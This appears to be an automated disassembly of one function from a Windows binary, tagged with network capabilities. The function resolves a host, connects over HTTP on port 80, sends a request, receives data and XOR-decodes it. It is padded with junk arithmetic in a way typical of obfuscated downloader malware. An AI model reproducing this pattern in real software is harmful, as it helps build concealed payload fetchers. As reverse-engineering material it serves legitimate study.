Function at 0x408810
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
lea ebp, [esp - 0x1440]
mov eax, 0x1440
call fcn.0040ca30
push 0xffffffffffffffff
push 0x41e94b
mov eax, dword fs:[0]
push eax
sub esp, 0x3c
mov eax, dword [0x426120]
xor eax, ebp
mov dword [ebp + 0x143c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0x144c]
mov ecx, dword [ebp + 0x1450]
xor ebx, ebx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], ebx
mov dword [ebp + 0x1b8], 0xf
mov dword [ebp + 0x1b4], ebx
mov byte [ebp + 0x1a4], bl
fldz
xor edx, edx
mov word [ebp - 0x18], dx
fst dword [ebp - 0x2c]
xor eax, eax
mov word [ebp - 0x28], ax
fstp dword [ebp - 0x40]
fldz
mov dword [ebp - 0x3c], ebx
fst qword [ebp - 0x48]
xor ecx, ecx
mov dword [ebp - 0x24], ebx
fstp qword [ebp - 0x38]
mov word [ebp - 0x20], cx
mov word [ebp - 0x30], dx
fld qword [0x425688]
fsubr qword [0x41f8e0]
mov byte [ebp + 0x11bc], al
mov ax, word [ebp - 0x18]
movsx ecx, ax
mov dword [ebp - 0x3c], ecx
mov byte [ebp - 4], 1
fild dword [ebp - 0x3c]
faddp st(1)
call fcn.0040b5b0
mov esi, dword [ebp + 0x1448]
mov word [ebp - 0x18], ax
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4088e2
sub eax, edx
mov edi, eax
cmp edi, 0x7f
jg 0x409030
xor eax, eax
cmp eax, edi
jg 0x408956
movzx ecx, word [0x4253ec]
mov dl, byte [eax + esi]
mov byte [ebp + eax + 0x13bc], dl
sub ecx, 0x2ab9dd4f
cmp byte [ebp + eax + 0x13bc], 0x2f
mov word [0x4253ec], cx
jne 0x408951
fld qword [0x41f8d8]
mov byte [ebp + eax + 0x13bc], 0
mov ecx, eax
cmp ecx, edi
jg 0x408954
fld qword [ebp - 0x38]
mov bl, byte [ecx + esi]
mov edx, ecx
fsub st(1)
sub edx, eax
mov byte [ebp + edx + 0x11bc], bl
fstp qword [ebp - 0x38]
inc ecx
jmp 0x408934
inc eax
jmp 0x4088f8
fstp st(0)
lea eax, [ebp + 0x11bc]
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408960
mov edi, dword [ebp - 0x14]
sub eax, edx
mov edx, eax
mov eax, edi
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408973
sub eax, esi
add eax, edx
cmp eax, 0x1ff
jbe 0x408991
cmp dword [ebp + 0x1b8], 0x10
jmp 0x40901f
fld qword [ebp - 0x38]
mov eax, edi
fsub qword [0x423890]
mov edx, eax
fstp qword [ebp - 0x38]
fld qword [0x423890]
fsub qword [0x41f390]
fstp qword [0x423890]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4089b3
lea edi, [ebp + 0x11bc]
or ebx, 0xffffffff
sub eax, edx
add edi, ebx
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4089c7
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 5
push 0x4247d0
rep movsb byte es:[edi], byte [esi]
call fcn.004014e0
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4089f3
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00407f50
fldz
xor eax, eax
fst dword [ebp - 0x14]
mov dword [esi], eax
fstp dword [ebp - 0x14]
push esi
mov byte [esi + 4], al
call fcn.0040bb6a
mov cx, word [0x425474]
movzx edx, word [0x42473c]
movsx eax, cx
add esp, 4
imul edx, eax
lea eax, [ebp + 0x11bc]
mov word [0x42473c], dx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408a45
sub eax, edx
push eax
lea eax, [ebp + 0x11bc]
push eax
lea ecx, [ebp + 0x1a0]
call fcn.004086d0
push 0x32
push 0x4245cc
call fcn.004014e0
add esp, 8
add dword [ebp - 0x28], ebx
mov cx, word [0x424744]
movzx edx, word [ebp - 0x28]
mov esi, eax
movsx eax, cx
lea eax, [edx + eax + 0x6af37013]
mov word [0x424744], ax
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408a95
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.004086d0
fldz
push 0x32
fst dword [ebp - 0x14]
push 0
fstp dword [ebp - 0x14]
push esi
call fcn.0040baf0
push esi
call fcn.0040bb6a
mov cx, word [0x425474]
movzx edx, word [0x42473c]
movsx eax, cx
add esp, 0x10
imul edx, eax
lea eax, [ebp + 0x13bc]
mov word [0x42473c], dx
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408af0
sub eax, edx
push eax
lea eax, [ebp + 0x13bc]
push eax
lea ecx, [ebp + 0x1a0]
call fcn.004086d0
push 5
push 0x423178
call fcn.004014e0
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408b20
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.004086d0
fldz
xor eax, eax
fst dword [ebp - 0x14]
mov dword [esi], eax
fstp dword [ebp - 0x14]
push esi
mov byte [esi + 4], al
call fcn.0040bb6a
mov cx, word [0x425474]
movzx edx, word [0x42473c]
movsx eax, cx
imul edx, eax
mov word [0x42473c], dx
mov eax, dword [ebp - 0x24]
add esp, 4
lea ecx, [ebp]
add eax, 0x431ed7f5
push ecx
mov word [0x4247a4], ax
add dword [ebp - 0x24], ebx
push 0x202
call sub.WS2_32.dll_WSAStartup
test eax, eax
je 0x408ba5
cmp dword [ebp + 0x1b8], 0x10
jb 0x409030
mov edx, dword [ebp + 0x1a4]
push edx
jmp 0x409028
push 6
mov edi, 1
push edi
push 2
call sub.WS2_32.dll_socket
mov esi, eax
mov dword [ebp - 0x24], esi
cmp esi, ebx
jne 0x408c34
call sub.WS2_32.dll_WSACleanup
fld dword [0x423974]
mov ax, word [ebp - 0x18]
add dword [ebp - 0x18], edi
movsx ecx, ax
mov dword [ebp - 0x14], ecx
fild dword [ebp - 0x14]
fcompp
fnstsw ax
test ah, 5
jp 0x408c28
fld qword [0x4246f8]
fadd qword [0x41f390]
fstp qword [0x4246f8]
mov dx, word [0x423a6c]
movsx eax, dx
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
fld qword [0x4246f8]
mov cx, word [ebp - 0x20]
movsx edx, cx
mov dword [ebp - 0x14], edx
fild dword [ebp - 0x14]
fsubp st(1)
fsubp st(1)
call fcn.0040b5b0
mov word [0x423a6c], ax
add dword [ebp - 0x20], edi
cmp dword [ebp + 0x1b8], 0x10
jmp 0x40901f
cmp dword [ebp + 0x1458], 0
je 0x408cf2
mov cx, word [0x4247dc]
movsx edx, cx
sub edx, 0x766dfa0e
mov dword [ebp - 0x14], edx
fild dword [ebp - 0x14]
fsub qword [0x423200]
fcomp qword [0x41f8d0]
fnstsw ax
fld qword [0x423200]
fsub qword [0x41f390]
fstp qword [0x423200]
add word [0x4247dc], bx
test ah, 0x44
jnp 0x408c90
add dword [ebp - 0x30], ebx
mov ax, word [ebp - 0x30]
mov word [ebp - 0x28], ax
jmp 0x408cac
movzx ecx, word [ebp - 0x18]
mov edx, dword [0x425438]
sub ecx, edx
sub ecx, 0x50ff5540
mov word [ebp - 0x18], cx
add dword [0x425438], ebx
push 4
lea eax, [ebp + 0x1458]
push eax
push 0x1006
push 0xffff
push esi
call sub.WS2_32.dll_setsockopt
mov ecx, dword [0x4238e8]
mov dword [ebp - 0x14], ecx
fild dword [ebp - 0x14]
fld qword [ebp - 0x48]
fadd qword [0x41f8c8]
fsubp st(1)
call fcn.0040b5b0
mov dword [0x4238e8], eax
fld qword [ebp - 0x48]
fsub qword [0x41f390]
fstp qword [ebp - 0x48]
lea edx, [ebp + 0x13bc]
push edx
call sub.WS2_32.dll_gethostbyname
test eax, eax
jne 0x408d0e
cmp dword [ebp + 0x1b8], 0x10
jmp 0x40901f
mov ecx, 2
mov word [ebp + 0x190], cx
mov edx, dword [eax + 0xc]
mov eax, dword [edx]
mov ecx, dword [eax]
push ecx
call sub.WS2_32.dll_inet_ntoa
push eax
call sub.WS2_32.dll_inet_addr
push 0x50
mov dword [ebp + 0x194], eax
call sub.WS2_32.dll_htons
mov edi, 0x10
push edi
lea edx, [ebp + 0x190]
push edx
push esi
mov word [ebp + 0x192], ax
call sub.WS2_32.dll_connect
cmp eax, ebx
je 0x409019
mov eax, dword [ebp + 0x1a4]
cmp dword [ebp + 0x1b8], edi
jae 0x408d70
lea eax, [ebp + 0x1a4]
mov ecx, dword [ebp + 0x1b4]
push 0
push ecx
push eax
push esi
call sub.WS2_32.dll_send
cmp eax, dword [ebp + 0x1b4]
jae 0x408da0
cmp dword [ebp + 0x1b8], edi
jb 0x409030
mov edx, dword [ebp + 0x1a4]
push edx
jmp 0x409028
mov ecx, dword [ebp - 0x1c]
push 0
push 0x41f8c0
call fcn.00407f50
mov ecx, dword [0x4231b0]
mov edx, dword [0x424710]
mov eax, 0x421fff4
sub eax, ecx
imul edx, eax
or esi, 0xffffffff
mov dword [0x424710], edx
or ebx, esi
mov ecx, dword [ebp - 0x24]
push 0
push 0x1000
lea eax, [ebp + 0x1bc]
push eax
push ecx
call sub.WS2_32.dll_recv
test eax, eax
jle 0x408f05
mov ecx, dword [ebp - 0x1c]
push eax
lea edx, [ebp + 0x1bc]
push edx
call fcn.004086d0
test esi, esi
jge 0x408ed8
push 5
push 0x423178
call fcn.004014e0
add esp, 8
mov edi, eax
lea edx, [eax + 1]
jmp 0x408e20
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408e20
mov ecx, dword [ebp - 0x1c]
sub eax, edx
push eax
push 0
push edi
call fcn.00404e70
mov esi, eax
mov ax, word [0x423a38]
movsx ecx, ax
mov dword [ebp - 0x14], ecx
fild dword [ebp - 0x14]
fstp dword [ebp - 0x14]
fld dword [0x423a00]
fadd dword [ebp - 0x14]
call fcn.0040b5b0
push edi
push 5
mov word [0x423a38], ax
call fcn.00402160
add esp, 8
test esi, esi
jl 0x408ed8
mov edx, dword [0x425748]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x14], edx
fild dword [ebp - 0x14]
push eax
add esi, 4
fadd qword [0x424748]
fstp qword [0x424748]
call fcn.00406f40
mov ebx, eax
add esp, 4
mov dword [ebp - 0x14], ebx
test ebx, ebx
jge 0x408edc
push 0xb
push 0x4255d8
call fcn.004014e0
mov ecx, dword [ebp - 0x1c]
add esp, 8
mov edi, eax
push 0
push edi
call fcn.00406030
push edi
push 0xb
mov ebx, eax
call fcn.00402160
fld qword [ebp - 0x38]
fsub qword [0x41f8b8]
add esp, 8
fstp qword [ebp - 0x38]
test ebx, ebx
jge 0x408f05
mov ebx, dword [ebp - 0x14]
test ebx, ebx
jl 0x408ee8
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ecx + 0x14]
sub eax, esi
cmp eax, ebx
jae 0x408f05
cmp dword [ebp + 0x1458], 0
je 0x408dd0
mov edx, dword [ebp - 0x1c]
cmp dword [edx + 0x14], 0x4000
jb 0x408dd0
mov ax, word [0x4245c8]
mov edx, dword [0x425f80]
movsx ecx, ax
mov eax, 0x58836eba
sub eax, ecx
sub eax, edx
mov dword [ebp - 0x14], eax
or edi, 0xffffffff
fild dword [ebp - 0x14]
fld dword [ebp - 0x2c]
inc word [0x4245c8]
fsubr qword [0x41f8b0]
add dword [0x425f80], edi
fcompp
fnstsw ax
test ah, 1
jne 0x408f72
fld qword [0x423850]
fcomp qword [0x41f8a8]
fnstsw ax
fld qword [0x423850]
fsub qword [0x41f390]
fstp qword [0x423850]
test ah, 1
jne 0x408f72
fld dword [0x424730]
fstp st(0)
mov eax, dword [ebp - 0x24]
push eax
call sub.WS2_32.dll_closesocket
movzx ecx, word [ebp - 0x18]
sub ecx, 0x4c68a70f
mov word [ebp - 0x18], cx
call sub.WS2_32.dll_WSACleanup
mov dx, word [ebp - 0x20]
movsx eax, dx
mov dword [ebp - 0x2c], eax
fild dword [ebp - 0x2c]
fmul dword [ebp - 0x40]
fstp dword [ebp - 0x40]
add dword [ebp - 0x20], edi
test esi, esi
jl 0x408fcb
movzx ecx, word [0x423874]
add ecx, 0x276000ea
push esi
mov esi, dword [ebp - 0x1c]
mov word [0x423874], cx
push 0
mov ecx, esi
call fcn.00405fa0
jmp 0x408fce
mov esi, dword [ebp - 0x1c]
mov dl, byte [ebp + 0x1454]
mov edi, 0x10
test dl, dl
je 0x409019
xor eax, eax
nop
cmp eax, dword [esi + 0x14]
jae 0x408ffd
cmp dword [esi + 0x18], edi
jb 0x408ff3
mov ecx, dword [esi + 4]
xor byte [ecx + eax], dl
inc eax
jmp 0x408fe0
xor byte [esi + eax + 4], dl
lea ecx, [esi + 4]
inc eax
jmp 0x408fe0
movzx edx, word [0x42468c]
movzx ecx, word [ebp - 0x28]
movsx eax, dx
movzx edx, word [ebp - 0x18]
sub eax, ecx
add eax, edx
mov word [0x42468c], ax
cmp dword [ebp + 0x1b8], edi
jb 0x409030
mov eax, dword [ebp + 0x1a4]
push eax
call fcn.0040b0f6
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x143c]
xor ecx, ebp
call fcn.0040bbf8
add ebp, 0x1440
mov esp, ebp
pop ebp
ret